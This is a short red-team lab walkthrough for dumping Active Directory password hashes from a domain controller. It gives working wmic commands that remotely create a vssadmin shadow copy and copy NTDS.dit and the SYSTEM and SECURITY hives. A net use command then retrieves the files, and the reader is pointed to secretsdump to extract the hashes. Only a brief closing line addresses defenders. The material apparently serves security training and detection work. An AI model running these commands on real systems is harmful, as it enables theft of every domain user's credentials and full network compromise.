Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy
This quick labs hows how to dump all user hashes from the DC by creating a shadow copy of the C drive using vssadmin - remotely.
This lab assumes the attacker has already gained administratrative access to the domain controller.

Execution

Create a shadow copy of the C drive of the Domain Controller:
1
wmic /node:dc01 /user:[email protected] /password:123456 process call create "cmd /c vssadmin create shadow /for=C: 2>&1"
Copied!
Copy the NTDS.dit, SYSTEM and SECURITY hives to C:\temp on the DC01:
1
wmic /node:dc01 /user:[email protected] /password:123456 process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\temp\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM c:\temp\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY c:\temp\"
Copied!
Below shows the above command executed on the attacking machine (right) and the files being dumped to c:\temp on the DC01 on the left:
Mount the DC01\c$\temp locally in order to retrieve the dumped files:
1
net use j: \\dc01\c$\temp /user:administrator 123456; dir j:\
Copied!
Now, of you go extracting hashes with secretsdump as shown here:

A quick note for defenders on the proces ancestry:
and of course commandlines:
